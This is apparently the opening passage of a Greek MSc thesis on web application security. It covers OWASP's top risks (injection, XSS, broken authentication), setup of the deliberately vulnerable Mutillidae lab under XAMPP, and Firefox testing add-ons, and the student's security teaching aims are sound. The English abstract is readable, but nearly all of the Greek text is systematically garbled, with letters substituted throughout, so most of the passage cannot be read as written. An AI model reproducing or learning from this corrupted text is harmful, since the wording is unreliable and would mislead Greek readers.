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Πεξίιεςε 

Σηε παξνχζα Μεηαπηπρηαθή Γηαηξηβή παξνπζηάδεηαη κηα ηδηάδνπζα εξεπλεηηθή πεξηνρή, ηα 

Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο, ηα νπνία πξνθχπηνπλ απφ 

εππάζεηεο ηεο ίδηαο ηεο εθαξκνγήο. Με ηνλ φξν «Γηαδηθηπαθέο Δθαξκνγέο» ελλννχκε 

εθαξκνγέο πνπ είλαη πξνζβάζηκεο κέζσ ελφο πξνγξάκκαηνο πεξηήγεζεο ηζηνχ θαη επηθνηλσλνχλ 

κε έλαλ δηαθνκηζηή ηζηνζειίδσλ. Δξεπλνχκε ην ζπγθεθξηκέλν δήηεκα απφ ηξεηο δηαθνξεηηθέο 

νπηηθέο γσλίεο: Αλίρλεπζε, Δθκεηάιιεπζε θαη Αληηκεηψπηζε ηεο εππάζεηαο. Γελ αθνινπζνχκε 

θάπνηα ζπγθεθξηκέλε ηερληθή, αληίζεηα ε αληηκεηψπηζε καο πξνζαξκφδεηαη αλάινγα, ζηα 

ηδηαίηεξα ραξαθηεξηζηηθά ηεο θάζε εππάζεηαο. Παξνπζηάδνληαη νη ηξεηο ζεκαληηθφηεξεο 

εππάζεηεο, φπσο απηέο πξνθχπηνπλ απφ ηνλ νξγαληζκφ OWASP: Code Injection, XSS θαη 

Broken Authentication & Session Management.  

Τν επίθεληξν ηεο ζπγθεθξηκέλεο Μεηαπηπρηαθήο Γηαηξηβήο είλαη πνιχ πξαθηηθφ θαη αθνινπζεί 

ηηο ζχγρξνλεο ηάζεηο ζηελ δηαδηθηπαθή αζθάιεηα, φπσο απηέο πξνθχπηνπλ απφ ηνλ 

πξνγξακκαηηζκφ κε ηελ γισζζά PHP & ηελ ρξήζε βάζεσλ δεδνκέλσλ MySQL. Ωζηφζν, 

πεξηιακβάλεηαη επαξθήο ζεσξία γηα ηελ θαηαλφεζε ησλ εππαζεηψλ, φκσο πξσηαξρηθφ κέιεκα 

παξακέλνπλ νη πξνγξακκαηηζηηθέο πξαθηηθέο πνπ πξέπεη λα ρξεζηκνπνηνχληαη πξνθεηκέλνπ λα 

πινπνηνχληαη αζθαιείο εθαξκνγέο. Καζ 'φιε ηε Μεηαπηπρηαθή Γηαηξηβή, παξαηίζεληαη 

ζπγθεθξηκέλα βήκαηα γηα ηελ αλίρλεπζε εθκεηάιιεπζε θαη αληηκεηψπηζε θάζε ηχπνπ 

εππάζεηαο. Δπίζεο, παξνπζηάδεηαη πιήζνο πξαθηηθψλ παξαδεηγκάησλ, πνπ επεμεγνχλ πψο 

δηαθνξεηηθά ςεγάδηα αζθάιεηαο εθδειψλνληαη ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο. 

Τέινο, ε αλάπηπμε ηεο ζπγθεθξηκέλεο Μεηαπηπρηαθήο Γηαηξηβήο βαζίδεηαη ζην πεξηβάιινλ 

«Mutillidae», ηελ γιψζζα PHP θαη ην ζχζηεκα δηαρείξηζεο βάζεσλ δεδνκέλσλ MySQL. 
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Abstract 

In the present MSc Thesis, a special research area is presented. It concerns the subject of Safety 

in Modern Web Applications, a subject that derives from the vulnerabilities of the web 

applications themselves. With the term “Web Applications” we refer to applications that are 

accessible via a web browser and communicate with a web server. We research this matter from 

three different perspectives; Detection, Exploitation and Confrontation of the vulnerabilities. Our 

technique is adjusted accordingly to the particular characteristics of each vulnerability. The three 

most important vulnerabilities are presented, as a result from OWASP organization: Code 

Injection, XSS and Broken Authentication and Session Management. 

The content of the particular MSc Thesis is highly practical and follows up the latest tendencies 

in web security, resulting from the use of PHP programming language & and MySQL databases. 

Nevertheless, it contains sufficient theory background for the understanding of the 

vulnerabilities, but its primary concern remains the use of programming practices in order to 

implement secure applications. Throughout the MSc Thesis, specific steps are mentioned for the 

detection, exploitation and confrontation of each type of vulnerability as well as many practical 

examples that illustrate how different security flaws occur in Modern Web Applications. 

Finally, the development of this MSc Thesis is based on “Mutillidae” application, PHP language 

and MySQL database management system. 
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Κεθάιαην 1: Δηζαγσγή 

1.1 Η εμέιημε θαη ηα νθέιε ησλ δηαδηθηπαθώλ εθαξκνγώλ 

Σηηο απαξρέο ηνπ Γηαδηθηχνπ, ην World Wide Web
[1]

 απνηεινχληαλ κφλν απφ ηζηνζειίδεο (web 

sites), νη νπνίεο ιεηηνπξγνχζαλ θπξίσο ζαλ απνζήθεο πιεξνθνξηψλ. Πεξηείραλ επί ην πιείζηνλ 

ζηαηηθά έγγξαθα θαη νη web browsers
[2]

 εθεπξέζεθαλ σο κέζν γηα ηελ αλάθηεζε θαη ηελ 

πξνβνιή απηψλ ησλ έγγξαθσλ. Η ξνή ησλ πιεξνθνξηψλ ήηαλ κνλφδξνκε (απφ ην server ζηνλ 

browser). Οη φπνηεο απεηιέο αζθάιεηαο πξνέθππηαλ, νθείινληαλ θπξίσο ζηα ηξσηά ζεκεία ηνπ 

ινγηζκηθνχ ησλ εμππεξεηεηψλ ηζηφηνπσλ (web server). Έρνληαο ππφςε ηα παξαπάλσ βιέπνπκε 

φηη αλ έλαο επηηηζέκελνο θαηάθεξλε λα εηζβάιεη ζε θάπνηνλ web server ζα κπνξνχζε λα αιιάμεη 

ηα αξρεία απηνχ ή/θαη ηελ εκθάληζε ηεο ηζηνζειίδαο, αιιά δελ θηλδχλεπαλ επαίζζεηα 

πξνζσπηθά δεδνκέλα ησλ ρξεζηψλ γηαηί πνιχ απιά δελ θπιάζζνληαλ νχηε δεηνχληαλ απφ ηνπο 

ηζηφηνπνπο. 

Σηηο κέξεο καο, ην World Wide Web έρεη γίλεη ζρεδφλ αγλψξηζην ζπγθξηηηθά κε ηελ αξρηθή 

κνξθή ηνπ. Σήκεξα, ε πιεηνςεθία ησλ ηζηνζειίδσλ ζην δηαδίθηπν είλαη ζηελ πξαγκαηηθφηεηα 

εθαξκνγέο (βι. Δηθφλα 1.1) θαη πιένλ ε ξνή ησλ πιεξνθνξηψλ είλαη ακθίδξνκε κεηαμχ ησλ 

server θαη browser. Μεηαμχ άιισλ, νη δηαδηθηπαθέο εθαξκνγέο, ππνζηεξίδνπλ ππεξεζίεο φπσο 

αλαδήηεζε πεξηερνκέλνπ, δεκνζίεπζε πιηθνχ απφ ηνπο ρξήζηεο, εγγξαθή θαη ζχλδεζε ρξεζηψλ, 

νηθνλνκηθέο ζπλαιιαγέο θαη άιια. Τν πιηθφ πνπ παξνπζηάδεηαη ζηνπο ρξήζηεο είλαη ζπλήζσο 

πξνζαξκνζκέλν ζηηο αλάγθεο ηνπο θαη δεκηνπξγείηαη δπλακηθά. Απηή ε εμέιημε έρεη κεηαθέξεη 

ζην κέξνο ησλ δηαδηθηπαθψλ εθαξκνγψλ ηελ επζύλε ηεο επεμεξγαζίαο ηδησηηθψλ θαη εμαηξεηηθά 

επαίζζεησλ πιεξνθνξηψλ επνκέλσο, ε αζθάιεηα ηνπο απνηειεί κείδνλ δήηεκα. Καλείο δελ ζα 

ζέιεη λα ρξεζηκνπνηήζεη κηα δηαδηθηπαθή εθαξκνγή; αλ ππάξρεη έζησ θαη ε παξακηθξή ππνςία 

φηη ηα επαίζζεηα πξνζσπηθά δεδνκέλα ηνπ ζα απνθαιπθζνχλ ζε κε εμνπζηνδνηεκέλα πξφζσπα. 

Σηνλ αληίπνδα φκσο, ρηιηάδεο ρξήζηεο εκπηζηεχνληαη θαζεκεξηλά πιήζνο πξνζσπηθψλ 

πιεξνθνξηψλ ζε ηζηνζειίδεο θνηλσληθήο δηθηχσζεο, αγλνψληαο ηνπο θηλδχλνπο πνπ ειινρεχνπλ 

απφ απηφ. 

 

 

Δηθόλα 1.1 Έλα παξάδεηγκα ζύγρξνλεο δηαδηθηπαθήο εθαξκνγήο 
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1.2 Θέκαηα αζθάιεηαο ζε δηαδηθηπαθέο εθαξκνγέο 

Γελ ππάξρεη θακία ακθηβνιία φηη ε αζθάιεηα ησλ δηαδηθηπαθψλ εθαξκνγψλ είλαη έλα  πνιχ 

επίθαηξν θαη άμην αλαθνξάο ζέκα. Γηα φινπο ηνπο εκπιεθφκελνπο, ην δηαθχβεπκα είλαη πςειφ. 

Γηα παξάδεηγκα, νη επηρεηξήζεηο βιέπνπλ αχμεζε ησλ εζφδσλ ηνπο απφ ηηο εκπνξηθέο 

ζπλαιιαγέο κέζσ δηαδηθηχνπ, νη ρξήζηεο εκπηζηεχνληαη ζε ηζηνζειίδεο επαίζζεηεο πιεξνθνξίεο 

θαη ηέινο νη εγθιεκαηίεο κπνξνχλ είηε λα βγάινπλ ρξήκαηα θιέβνληαο ζηνηρεία νηθνλνκηθψλ 

ζπλαιιαγψλ είηε λα πξνθαιέζνπλ δεκία ζε κία δηαδηθηπαθή ππεξεζία.  

Δχθνια θαηαιαβαίλεη θαλείο ινηπφλ, πσο ε θήκε ζρεηηθά κε ηα ζέκαηα αζθάιεηαο 

δηαδξακαηίδεη θξίζηκν ξφιν, θαζψο ζρεδφλ θαλείο δελ ζέιεη λα θάλεη ζπλαιιαγέο κε κηα 

επηρείξεζε πνπ έρεη αλαζθαιέο δηαδηθηπαθφ πεξηβάιινλ. Έηζη νη επηρεηξήζεηο/νξγαληζκνί δελ 

ζέινπλ λα απνθαιπθζνχλ ιεπηνκέξεηεο φπσο ηξσηά ζεκεία ή παξαβηάζεηο ζρεηηθά κε ηελ 

αζθάιεηα ηνπο θαη σο εθ ηνχηνπ, θαζίζηαηαη  εμαηξεηηθά ζεκαληηθή ε απφθηεζε πιεξνθνξηψλ 

γηα ηελ θαηάζηαζε ηεο αζθάιεηαο ησλ δηαδηθηπαθψλ εθαξκνγψλ ζήκεξα. 

Καζ 'φιε απηή ηελ εμέιημε ησλ δηαδηθηπαθψλ εθαξκνγψλ, πνιιά δεηήκαηα αζθάιεηαο πνπ 

αθνξνχλ παγθνζκίσο δεκνθηιείο ηζηφηνπνπο έρνπλ αλαθχςεη
[3]

. Αλακθηζβήηεηα, ε αζθάιεηα 

ησλ δηαδηθηπαθψλ εθαξκνγψλ είλαη ζήκεξα ην ζεκείν ηξηβήο κεηαμχ ησλ επηηηζεκέλσλ θαη 

εθείλσλ πνπ έρνπλ λα ππεξαζπηζηνχλ ηνπο πφξνπο θαη ηα δεδνκέλα ελφο ζπζηήκαηνο θαη ην πην 

πηζαλφ είλαη λα παξακείλεη έηζη θαη ζην άκεζν κέιινλ. Φαξαθηεξηζηηθφ παξάδεηγκα ηέηνησλ 

επηζέζεσλ, είρακε πξφζθαηα θαη ζηνλ Διιεληθφ δηαδηθηπαθφ ρψξν θαη κάιηζηα εηο δηπινχλ ζηελ 

ηζηνζειίδα ηνπ «Υπνπξγείνπ Γηθαηνζχλεο». Γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε ζηνλ 

παξαθάησ ηζηφηνπν: 

 http://www.ethnos.gr/article.asp?catid=22768&subid=2&pubid=63611687 

 

 

Δηθόλα 1.2 Πξώηε επίζεζε απ' ηελ νκάδα Hacker "Anonymous" ζηελ Ιζηνζειίδα ηνπ Υπ. Γηθαηνζύλεο. 

 

 

http://www.ministryofjustice.gr/
http://www.ethnos.gr/article.asp?catid=22768&subid=2&pubid=63611687
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Η αζθάιεηα ζηηο δηαδηθηπαθέο εθαξκνγέο ζπρλά αληηκεησπίδεηαη σο έλα απιφ ζέκα, πνπ σο 

ζηφρν έρεη ηελ δηαηήξεζε ησλ πξνζσπηθψλ δεδνκέλσλ ηδησηηθψλ. Απηφ φκσο, είλαη κφλν έλα 

κέξνο ηνπ φινπ δεηήκαηνο, ίζσο ην ζεκαληηθφηεξν; αιιά ππάξρνπλ θαη άιια κέξε επίζεο. Σην 

ζπγθεθξηκέλν ζχλδεζκν https://www.whitehatsec.com/resource/stats.html (WhiteHat) κπνξνχκε 

λα δνχκε κία ζηαηηζηηθή κειέηε γηα ηελ θαηάζηαζε ηεο αζθάιεηαο ησλ δηαδηθηπαθψλ 

εθαξκνγψλ θαη ηα δεηήκαηα πνπ νη νξγαληζκνί/επηρεηξήζεηο πξέπεη λα αληηκεησπίζνπλ 

πξνθεηκέλνπ λα απνηξέςνπλ κία επίζεζε. 

 

 

Δηθόλα 1.3 Γεύηεξε επίζεζε απ' ηελ νκάδα Hacker "Anonymous" ζηελ Ιζηνζειίδα ηνπ Υπ. Γηθαηνζύλεο. 

 

Τα πην ζεκαληηθά δεηήκαηα πνπ βξίζθνληαη ζην επίθεληξν ηνπ ζέκαηνο ζα ηα ζπδεηήζνπκε 

ζηελ ακέζσο επφκελε ελφηεηα. 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.whitehatsec.com/resource/stats.html
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1.3 Σε ηη είδνπο επηζέζεηο είλαη επάισηεο νη δηαδηθηπαθέο εθαξκνγέο 

΋πσο αλαθέξακε θαη λσξίηεξα, νη ηάζεηο ηεο επνρήο αιιά θαη ε θχζε ησλ δηαδηθηπαθψλ 

εθαξκνγψλ θαζηζηνχλ ηθαλή, αλ φρη επηβεβιεκέλε, ηελ ακθίδξνκε αληαιιαγή πιεξνθνξηψλ 

κεηαμχ  ρξεζηψλ θαη εθαξκνγψλ (client-server). Δίλαη ινηπφλ πξνθαλέο φηη φπνην πεξηβάιινλ 

δέρεηαη δεδνκέλα απφ ηνπο ρξήζηεο, κπνξεί λα παξνπζηάζεη θάπνηνπ είδνπο εππάζεηα 

νθεηιφκελε ζε απηά, απηφ φκσο δελ απνθιείεη απφ ηνπο θηλδχλνπο ηα ζπζηήκαηα πνπ κφλν 

πξνζθέξνπλ πιεξνθνξίεο ζηνπο ρξήζηεο ηνπο. 

Μία θαηεγνξηνπνίεζε ινηπφλ ησλ επηζέζεσλ, ζα κπνξνχζε λα γίλεη κε θξηηήξην ηελ πξνέιεπζε 

ηνπο, κε ην αλ πξνέξρνληαη δειαδή απφ απηνκαηνπνηεκέλα ινγηζκηθά ή άκεζα απφ θάπνηνλ 

άλζξσπν/ρξήζηε. Δπεηδή φκσο απηή ε θαηεγνξηνπνίεζε κπνξεί λα γίλεη θάπσο «αζαθήο» εκείο 

ζα πξνβνχκε ζε κηα θαηεγνξηνπνίεζε ησλ απεηιψλ/επηζέζεσλ βάζε ηνπ ηξφπνπ αλάπηπμεο ηνπο 

αιιά θαη ησλ ζπλεπεηψλ ηνπο. Σπλάκα, αθνινπζψληαο ηηο ζχγρξνλεο ηάζεηο γηα ηελ αλάπηπμε 

δηαδηθηπαθνχ ινγηζκηθνχ, πνπ ηείλνπλ ζηελ ρξήζε ινγηζκηθνχ αλνηθηνχ θψδηθα
[4]

, 

απνθαζίζακε λα εζηηάζνπκε ηελ πξνζνρή καο ζε ζέκαηα αζθάιεηαο πνπ αθνξνχλ ηελ ρξήζε 

ηεο γιψζζαο PHP (κία γιψζζα server-side scripting, πνπ αξρηθά είρε ζρεδηαζηεί γηα ηελ 

αλάπηπμε δηαδηθηπαθψλ εθαξκνγψλ θαη ηελ παξαγσγή δπλακηθψλ ηζηνζειίδσλ). 

 

Έρνληαο σο γλψκνλα φια ηα παξαπάλσ θαη ζπκβνπιεπφκελνη ζηνηρεία ηνπ νξγαληζκνχ OWASP 

κπνξνχκε λα παξαζέζνπκε κηα ιίζηα κε ηηο πην επηθίλδπλεο απεηιέο γηα ηηο δηαδηθηπαθέο 

εθαξκνγέο, (κέξνο ησλ νπνίσλ ζα αλαιχζνπκε ζηα ακέζσο επφκελα θεθάιαηα): 

 

 

 

 

Δηθόλα 1.4 Λίζηα κε ηηο 10 πην επηθίλδπλεο απεηιέο βάζε ηνπ OWASP 

 

https://www.owasp.org/index.php/Top_10_2010-Main
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1.3.1 Ο νξγαληζκόο OWASP θαη ην πεξηβάιινλ Mutillidae  

Τν Open Web Application Security Project (ΟWASP) απνηειεί κία πξσηνβνπιία πνπ απνζθνπεί 

ζηνλ εληνπηζκφ θαη ζηελ θαηαπνιέκεζε ησλ ηξσηψλ ζεκείσλ ηνπ ινγηζκηθνχ δηαδηθηπαθψλ 

εθαξκνγψλ
[5]

. ΋ληαο έλαο κε θεξδνζθνπηθόο νξγαληζκόο, αθνινπζεί ηελ ηδενινγία ηνπ 

Διεχζεξνπ/Αλνηθηνχ ινγηζκηθνχ, παξέρνληαο δσξεάλ αιιά επαγγεικαηηθήο πνηφηεηαο έγγξαθα, 

εξγαιεία θαη πξφηππα. Παξάιιεια, εληζρχεη ηε δηνξγάλσζε ζπλεδξίσλ θαη ηνπηθψλ νκάδσλ 

εξγαζίαο (local chapters), ηε δεκνζίεπζε άξζξσλ θαη ζπγγξακκάησλ, θαζψο θαη ηελ αληαιιαγή 

απφςεσλ κέζα απφ forums θαη mailing lists. Τν OWASP απαξηζκεί κέιε ζε φιν ηνλ πιαλήηε, 

ζπκπεξηιακβαλνκέλσλ κεγάισλ νξγαληζκψλ θαη εηαηξηψλ. 

Οπνηνζδήπνηε ελδηαθέξεηαη κπνξεί εχθνια λα βξεη εξγαιεία θαη πξφηππα γηα ηελ αζθάιεηα 

εθαξκνγψλ, αθφκα θαη νιφθιεξα βηβιία ζρεηηθά κε ηνλ έιεγρν ηεο αζθάιεηαο εθαξκνγψλ θαη 

ηελ επηζθφπεζε αζθάιεηαο θψδηθα. Δπίζεο, ππάξρνπλ βηβιηνζήθεο αζθάιεηαο θαη δηάθνξα 

εξεπλεηηθά έληππα.  Η Διιεληθή νκάδα εξγαζίαο ηνπ OWASP δεκηνπξγήζεθε ην 2005, έρνληαο 

σο θχξην ζηφρν ηελ ζσζηή ελεκέξσζε & ηελ αθχπληζε ηεο ειιεληθήο θνηλφηεηαο φζν αθνξά 

ηνπο θηλδχλνπο αζθάιεηαο ζηηο δηαδηθηπαθέο εθαξκνγέο.  

Τν ζρέδην OWASP Top 10 2010 απνηειεί κηα ελεκεξσκέλε έθδνζε ηεο ιίζηαο ησλ 10 πην 

θξίζηκσλ θηλδχλσλ αζθάιεηαο δηαδηθηπαθψλ εθαξκνγψλ
[6]

. Δπηπξφζζεηα, πεξηέρεη πιεξνθνξίεο 

γηα ηνλ αληίθηππν ησλ θηλδχλσλ απηψλ ζηηο εθαξκνγέο (βιέπε Δηθφλα 1.2). Υπάξρνπλ πνιιέο 

αλαθνξέο ζην OWASP Top 10 κέζα ζε πξφηππα, βηβιία, εξγαιεία θαη νξγαληζκνχο. 

Δξεπλψληαο ην ζπγθεθξηκέλν πεδίν απνθάζηζα λα εζηηάζω ζηηο ηξεηο (3) πην θξίζηκεο απεηιέο 

βάζε ηνπ OWASP Top 10 2010, δειαδή: 

 A1-Injection 

 A2-Cross Site Scripting (XSS)  

 A3-Broken Authentication and Session Management  

   

Τηο ζπγθεθξηκέλεο απεηιέο ζα ηηο αλαιχζνπκε εθηελέζηεξα ζην θεθάιαην 3, φπνπ ζα δνχκε πσο 

απηέο παξνπζηάδνληαη κέζα ζην πεξηβάιινλ Mutillidae. 

Τη είλαη φκσο ην πεξηβάιινλ Mutillidae;
[7]

 Δίλαη έλα ζθόπηκα επάισην ινγηζκηθό γξακκέλν 

ζηελ γιψζζα PHP, ην νπνίν αιιειεπηδξά κε κία βάζεσλ δεδνκέλσλ ηχπνπ MySQL. Τν 

ζπγθεθξηκέλν ινγηζκηθφ, πεξηέρεη κία ζεηξά απφ PHP Scripts ηα νπνία πινπνηνχλ/παξνπζηάδνπλ 

ηηο απεηιέο ηνπ OWASP Top 10 2010 κία κία. Κνηηψληαο πην πξνζεθηηθά, βιέπνπκε λα 

μεπξνβάινπλ θαη θάπνηα άιια ραξαθηεξηζηηθά ηνπ Mutillidae, φπσο: 

 ε απιφηεηα ζηελ ρξήζε 

 ε επειημία ζηελ «εθκεηάιιεπζε» ησλ απεηιψλ 

 ε επθνιία ζηελ «επαλαθνξά» ηνπ ζπζηήκαηνο ζηηο αξρηθέο ξπζκίζεηο 

 ε ιεηηνπξγία «ζπκβνπιψλ», πνπ σο ζθνπφ έρνπλ λα βνεζήζνπλ ηνλ ρξήζηε. 

΋ια ηα παξαπάλσ ινηπφλ θαζηζηνχλ ην Mutillidae, ην ηδαληθό πεξηβάιινλ γηα ηελ αλίρλεπζε, 

εθκεηάιιεπζε θαη αληηκεηώπηζε ησλ ηξηψλ απεηιψλ (Injection, XSS, Authentication & Session) 

πνπ απνηεινχλ θαη ην αληηθείκελν κειέηεο ηεο παξνχζαο εξγαζία. 



Μεηαπηπρηαθή Γηαηξηβή   Τζάηκνο Διεπζέξηνο 

   16 

 
Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο 

Κεθάιαην 2: Δξγαιεία πνπ ρξεζηκνπνηήζεθαλ 

2.1 Φαξαθηεξηζηηθά ζπζηήκαηνο πνπ αλαπηύρηεθε ε εξγαζία  

Η αλάπηπμε ηεο ζπγθεθξηκέλεο εξγαζίαο, έγηλε ζε πεξηβάιινλ κε ηα παξαθάλσ ραξαθηεξηζηηθά: 

 Microsoft Windows 7 Ultimate Service Pack 1 (32 bit) 

 XAMPP for Windows v1.7.7 

 Apache v2.2.21 

 MySQL v5.5.16 

 PHP v5.3.8 

 OpenSSL v1.0.0e 

 phpMyAdmin v3.4.5 

 Notepad++ v5.9.6.2 

 Mutillidae v2.1.9 

 Mozilla Firefox v.9.0.1 Greek 

 

 

Πξηλ πξνζπαζήζεηε ρξεζηκνπνηήζεηε ηνλ θψδηθα πνπ παξέρεηαη ή λα επαλαιάβεηε ηερληθφ 

πεξηερφκελν ηεο εξγαζίαο ζε δηαθνξεηηθφ πεξηβάιινλ, βεβαησζείηε φηη ην πεξηβάιινλ απηφ 

πιεξνί ηηο αθφινπζεο πξνδηαγξαθέο: 
 

 Λεηηνπξγηθφ ζχζηεκα Windows XP Service Pack 3 (ή λεφηεξν) 

 Apache v2.2 (ή λεφηεξν) 

 MySQL v5.4 (ή λεφηεξν) 

 PHP v5.3 (ή λεφηεξν) 

 Mozilla Firefox v.8.0.1 (ή λεφηεξν) 

 Διεχζεξνο ρψξνο ζηνλ δίζθν κεγαιχηεξνο απφ 200 MB 

 Γηαζέζηκε κλήκε RAM κεγαιχηεξε απφ 512 MB 

Τέινο, γηα ιφγνπο αζθάιεηαο, πξνηείλεηαη ην πεξηβάιινλ απηφ λα θηινμελεζεί ζε θάπνηα 

εηθνληθή κεραλή (Virtual Machine), κε πεξηνξηζκέλε ή θαζφινπ πξφζβαζε ζην δηαδίθηπν. 
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2.2 Τν πεξηβάιινλ Mutillidae 

΋πσο έρνπκε αλαθέξεη θαη ζε πξνγελέζηεξν ζεκείν, ην Mutillidae είλαη έλα ζθφπηκα επάισην 

ινγηζκηθφ γξακκέλν ζηελ γιψζζα PHP. Παξαθάησ ζα δνχκε νδεγίεο εγθαηάζηαζεο θαη 

παξακεηξνπνίεζεο γηα ηελ ζσζηή ιεηηνπξγία ηνπ. ΋ζνη αλαξσηηνχληαη γηα ηελ πξνέιεπζε ηνπ 

νλφκαηνο κπνξνχλ λα αλαηξέμνπλ ζηελ ζρεηηθή βηβιηνγξαθία
[8]

. 

 

 

 

Δηθόλα 2.1 Τν πεξηβάιινλ εξγαζίαο ηνπ Mutillidae 

 

 

Γηα ηελ εγθαηάζηαζε θαη ζσζηή ιεηηνπξγία ηνπ Mutillidae, πξέπεη λα αθνινπζεζνχλ ηα 

παξαθάησ βήκαηα: 

1. Αξρηθά, θαηεβάδνπκε θαη εγθαζηζηνχκε ην πξφγξακκα  XAMPP v1.7.7 

http://www.apachefriends.org/download.php?xampp-win32-1.7.7-VC9-installer.exe 

2. Καηεβάδνπκε ην Mutillidae http://www.irongeek.com/mutillidae/mutillidae-2.1.9.zip 

3. Απνζπκπηέδνπκε ην αξρείν “mutillidae-2.1.9.zip” θαη έπεηηα ηνπνζεηνχκε ηνλ θάθειν 

“mutillidae” (πνπ πξνέθπςε απφ ηελ απνζπκπίεζε) ζην θάθειν “htdocs” ηεο 

εγθαηάζηαζεο ηνπ XAMPP. Σπλήζσο βξίζθεηαη ζηελ ηνπνζεζία: C:\xampp\htdocs . 

4. Αλνίγνπκε ηνλ Browser καο (θαηά πξνηίκεζε Mozilla Firefox) θαη πιεθηξνινγνχκε ηελ 

δηεχζπλζε http://localhost/mutillidae/ . 

 

http://www.apachefriends.org/download.php?xampp-win32-1.7.7-VC9-installer.exe
http://www.irongeek.com/mutillidae/mutillidae-2.1.9.zip
http://localhost/mutillidae/
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5. Δίλαη πηζαλψλ λα ιάβνπκε θάπνηα εηδνπνίεζε πεξηνξηζκνχ πξφζβαζεο “ErrorDocument 

403 By default, Mutillidae only allows access from localhost (127.*.*.*)….”. Αλνίγνπκε 

ην αξρείν “.htaccess”, πνπ βξίζθεηαη ζην C:\xampp\htdocs\mutillidae θαη θάλνπκε 

ζρφιηα ηηο γξακκέο 2 θαη 3 (κε ρξήζε ηνπ ραξαθηήξα: #). 

 

6. Δπίζεο ζα ζπλαληήζνπκε άιιε κία εηδνπνίεζε πνπ πξνέξρεηαη απφ ηελ PHP θαη ηελ 

εθαξκνγή PHP Strict Standarts. Γηα λα απνθχγνπκε απηφ ην θαηλφκελν ζα πξέπεη λα 

πάκε ζηνλ θάθειν C:\xampp\php θαη λα ηξνπνπνηήζνπκε ην αξρείν “php.ini” σο εμήο: 

Σηελ γξακκή 516 αιιάδνπκε ηελ εληνιή “error_reporting = E_ALL | E_STRICT” ζε 

“error_reporting = E_ALL & ~E_NOTICE & ~E_WARNING & ~E_DEPRECIATED”. 

Κάλνπκε επαλεθθίλεζε ηεο ππεξεζίαο “Apache” (αλ δελ γλσξίδνπκε πψο, 

επαλεθθηλνχκε ηνλ ππνινγηζηή καο) θαη είκαζηε έηνηκνη λα ρξεζηκνπνηήζνπκε ην 

Mutillidae. 
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2.3 Ο πεξηεγεηήο Mozilla Firefox θαη ηα Πξόζζεηα ηνπ 

Ο Mozilla Firefox είλαη έλαο ειεχζεξνο θαη αλνηθηνχ θψδηθα θπιινκεηξεηήο Ιζηνχ (Web 

browser) πνπ πξνήιζε απφ ην ινγηζκηθφ Mozilla Application Suite. Η δηαρείξηζε ηεο αλάπηπμήο 

ηνπ γίλεηαη απφ ηελ Mozilla Corporation θαη είλαη έλαο απφ ηνπο πην δεκνθηιείο web browsers. 

Γηα ηελ απεηθφληζε ησλ ηζηνζειίδσλ, ν Firefox ρξεζηκνπνηεί ηελ κεραλή δηάηαμεο Gecko, ε 

νπνία εθαξκφδεη ηα πεξηζζφηεξα απφ ηα ζεκεξηλά πξφηππα ηνπ Παγθφζκηνπ Ιζηνχ αιιά θαη 

επηπιένλ πξφηππα πνπ ζα ηζρχνπλ ζηνλ κέιινλ. 

Γηα λα θαηεβάζεηε ηνλ Mozilla Firefox ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε ζηνλ 

παξαθάησ ηζηφηνπν: 

 http://www.mozilla.org/el/firefox/fx/ 

 

 

Δηθόλα 2.2 Ο πεξηεγεηήο ηζηνύ Mozilla Firefox 

 

Ο Mozilla Firefox, έρεη αλαδεηρζεί σο έλαο απφ ηνπο πην δεκνθηιήο πεξηεγεηέο ζην δηαδίθηπν. 

Έλαο απ’ ηνπο θπξηφηεξνπο ιφγνπο γηα ηελ επηηπρία ηνπ είλαη ν κεγάινο αξηζκόο  ησλ 

πξόζζεησλ πνπ είλαη δηαζέζηκα. Αμηνζεκείσην είλαη φηη δηαζέηεη πνιιά πξφζζεηα, ηα νπνία 

ζρεηίδνληαη κε ηελ αζθάιεηα ζην δηαδίθηπν, άιια ηελ εληζρχνπλ θαη άιια ηελ εθκεηαιιεχνληαη. 

Αθνινπζνχλ ηα πξφζζεηα (Αdd-ons) πνπ ζα ρξεζηκνπνηεζνχλ ζηελ παξνχζα εξγαζία. 

 

 

 

http://www.mozilla.org/el/firefox/fx/
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Τν Πξφζζεην Firebug 1.9.1 ελζσκαηψλεηαη ζηνλ Firefox, ραξίδνληαο ζε θάζε πξνγξακκαηηζηή 

(ή ρξήζηε) έλαλ πινχην εξγαιείσλ αλάπηπμεο θαηά ηελ δηάξθεηα εξγαζίαο ηνπ ζε κία 

ηζηνζειίδα. Με ην Firebug, κπνξνχκε λα επεμεξγαζηνχκε, λα δηνξζψζνπκε, θαη ειέγμνπκε on-

the-fly θψδηθα CSS, HTML, θαη JavaScript ζε νπνηαδήπνηε ηζηνζειίδα. 

 

 

Δηθόλα 2.3 Τν πξόζζεην "Firebug 1.9.1". 

 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην Firebug 1.9.1 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε 

ζηνπο παξαθάησ ηζηφηνπνπο: 

 https://addons.mozilla.org/el/firefox/addon/firebug/ 

 http://getfirebug.com/ 

 

 

 

 

https://addons.mozilla.org/el/firefox/addon/firebug/
http://getfirebug.com/
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Τν Πξφζζεην User Agent Switcher 0.7.3, καο επηηξέπεη λα αιιάδνπκε ηελ ηηκή user agent ελφο 

browser, κε γξήγνξν, εχθνιν θαη απνηειεζκαηηθφ ηξφπν. 

 

 

 

Δηθόλα 2.4 Τν Πξόζζεην "User Agent Switcher 0.7.3". 

 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην User Agent Switcher 0.7.3 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο 

αλαηξέμηε ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/user-agent-switcher/ 

 

 

 

 

 

https://addons.mozilla.org/el/firefox/addon/user-agent-switcher/
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Τν Πξφζζεην  Tamper Data 11.0.1, καο επηηξέπεη λα δνχκε θαη λα ηξνπνπνηήζνπκε  

HTTP/HTTPS επηθεθαιίδεο (headers) θαη ηα νξίζκαηα POST κεηαβιεηψλ (post parameters). 

